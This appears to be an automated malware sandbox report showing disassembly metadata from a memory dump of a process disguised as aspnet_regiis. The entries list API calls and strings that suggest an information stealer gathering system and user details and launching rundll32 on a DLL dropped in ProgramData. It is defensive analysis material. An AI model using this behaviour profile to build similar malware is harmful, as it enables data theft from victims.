Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: 0501fa894185b91e7b693979df3d5285810351213a83039d854fa14beaa21ce0
Instruction ID: 2816971d78f640c5210f5c3df2c68b6a36055d88f9abb901e61d14fe4f69d22d
Opcode Fuzzy Hash: 0501fa894185b91e7b693979df3d5285810351213a83039d854fa14beaa21ce0
Instruction Fuzzy Hash: 30F0C87238122077F22412763C6EF6B1A6C9B41F56F205035F308FB2D0D6699804967C

Function 00412962 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412B84

Strings

.dll, xrefs: 004129ED
"" , xrefs: 00412A32
C:\Windows\system32\rundll32.exe, xrefs: 00412AE3
C:\ProgramData\, xrefs: 00412995

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: c76b9356db023fdea971dc893b2b920fd300fe1c02b79897c04016921bfa74e0
Instruction ID: fcd8ae3be328f2bece2d36ab058f070ab7b5b8f350f6457e4fbb623da5ab610c
Opcode Fuzzy Hash: c76b9356db023fdea971dc893b2b920fd300fe1c02b79897c04016921bfa74e0
Instruction Fuzzy Hash: 4871EE71E40119ABCF10FFA6DD466CDB7B5AF04308F51406BF510B7191DBB8AE8A8B98

Function 00411684 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004116CE

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713
GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Strings

Unknown, xrefs: 0041173C

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfile_memsetlstrcpymallocstrncpy
String ID: Unknown
API String ID: 2781187439-1654365787
Opcode ID: ab585756b44732b0c52de9de7319f605c52bcc59fa939e737159a870399f43be
Instruction ID: 5196d0f985b73c0c8bd0bad26c43f83b5151f3b6dc85e60399ef39d4da867d2e
Opcode Fuzzy Hash: ab585756b44732b0c52de9de7319f605c52bcc59fa939e737159a870399f43be
Instruction Fuzzy Hash: 6F118671A0011CABCB21EB65DD86FDD73B8AB18704F4004A6B645F7191DAB8AFC88F58

Function 00411119 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
HeapAlloc.KERNEL32(00000000), ref: 00411138
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
wsprintfA.USER32 ref: 0041117A

Strings

%d MB, xrefs: 00411174

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 8862206487a5735529afe943f838936f5b8579a15e145366872ddc586f9bf33b
Instruction ID: b0b061f5290e25b68b6f7a4002290a0ac05d972f49bd8262d04e688218eddb93
Opcode Fuzzy Hash: 8862206487a5735529afe943f838936f5b8579a15e145366872ddc586f9bf33b
Instruction Fuzzy Hash: 7801A9B1E00218ABEB08DFB4DC45EEEB7B9EF08705F44006AF602D7290EA75D9818759

Function 0041BC21 Relevance: 7.6, APIs: 5, Instructions: 99fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,75BF74F0,?,0041CBEE,?,0041CC7C,00000000,06400000,00000003,00000000,0041757F,.exe,00436C5C), ref: 0041BC6E
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,75BF74F0,?,0041CBEE,?,0041CC7C,00000000,06400000,00000003,00000000), ref: 0041BCA6

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction ID: ff1efad9a67633d22899531c3285d4c1b5d125596630838d4b1aaea72c6dc67b
Opcode Fuzzy Hash: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction Fuzzy Hash: CA31A2F0504B049FDB348F24A9D4BA37AE8EB15314F108E2FF19682691D33898C49B99

Function 6C7AC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C7AC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C7AC969
GetSystemInfo.KERNEL32(?), ref: 6C7AC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C7AC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C7AC9E2

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 0b5944e6998cb78049a4fd920ef7695addcbb733f14c6d37862bc7d8862f9f96
Instruction ID: b656c0d4521f611c1bdc03f0f39fbbc08f4a4313ec0676d52ba1c41a7392c772
Opcode Fuzzy Hash: 0b5944e6998cb78049a4fd920ef7695addcbb733f14c6d37862bc7d8862f9f96
Instruction Fuzzy Hash: E921F8717412056BDB24AAA8DD8ABBE76F9AF46309F500239F907A7F40DB215804CBD5

Function 00404AB6 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction ID: f1c5382da97c9dd65e4db87c3c806c9c9b4e03b01775002e3606c6f6cd357758
Opcode Fuzzy Hash: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction Fuzzy Hash: E9011B72D00218ABDF149BA9DC45ADEBFB8AF55330F10821AF925F72E0DB745A058B94

Function 00410F51 Relevance: 7.5, APIs: 5, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6
RegCloseKey.ADVAPI32(00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410FAF

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction ID: 198c8e352812e869def4411d780e2caea40c147a773264a459f6a712475eeb20
Opcode Fuzzy Hash: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction Fuzzy Hash: C9F03075640304FBEF148B90DC0AFAE7B7EEB44706F141094F601A51A0E7B29B509B60

Function 004083D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,0040DB0A), ref: 004083F2

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 00410581

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

SetEnvironmentVariableA.KERNEL32(?,00437194,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,004367C3,?,?,?,?,?,?,?,?,0040DB0A), ref: 00408447
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040DB0A), ref: 0040845B

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 004083E6, 004083EB, 00408405

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: 04dcee5354247dbc29cf1765c19ad916d25bce8febd7e9a612e053264f62c16e
Instruction ID: 1d1035b7872eafe5bc2acfcfd9c5443481a9431a5cd399c5b03dff48eed801cb
Opcode Fuzzy Hash: 04dcee5354247dbc29cf1765c19ad916d25bce8febd7e9a612e053264f62c16e
Instruction Fuzzy Hash: 20315C71940714ABCF16EF2AED0245D7BA2AB48706F10607BF440B72B0DB7A1A81CF89

Function 00416DC6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00416DCD
lstrlenA.KERNEL32(?,0000001C), ref: 00416DD8
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416E5C

Strings

ERROR, xrefs: 00416E54

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchlstrlen
String ID: ERROR
API String ID: 591506033-2861137601
Opcode ID: 987378090a3b2abee121885682ea4995d8af358216b926a009c89c00a445330c
Instruction ID: af559da7a52deda925aca90371b7d636d26c87dd73bd3b1907a7f448f6be4e16
Opcode Fuzzy Hash: 987378090a3b2abee121885682ea4995d8af358216b926a009c89c00a445330c
Instruction Fuzzy Hash: 6F119371900509AFCB40FF75D9025DDBBB1BF04308B90513AE414E3591E739EAA98FC9

Function 0041224A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
CloseHandle.KERNEL32(00000000), ref: 0041228E

Strings

=A, xrefs: 0041225D, 00412262

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID: =A
API String ID: 3183270410-2399317284
Opcode ID: a5843cda12b70cc7bcbf256d8a6036821e346dccf5e361165451a22e509f8efe
Instruction ID: 00f88837b3f4b8dbd17d966d98a560f1caae43d713f472eddac2d47ecb876e1e
Opcode Fuzzy Hash: a5843cda12b70cc7bcbf256d8a6036821e346dccf5e361165451a22e509f8efe
Instruction Fuzzy Hash: D8F0B471600218ABDB24EB68DC45FEE7BBC9B48B08F00006AF645D7180EEB5DAC5CB55

Function 0040B332 Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040B3D7
lstrlenA.KERNEL32(?), ref: 0040B529
lstrlenA.KERNEL32(?), ref: 0040B544
DeleteFileA.KERNEL32(?), ref: 0040B596

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
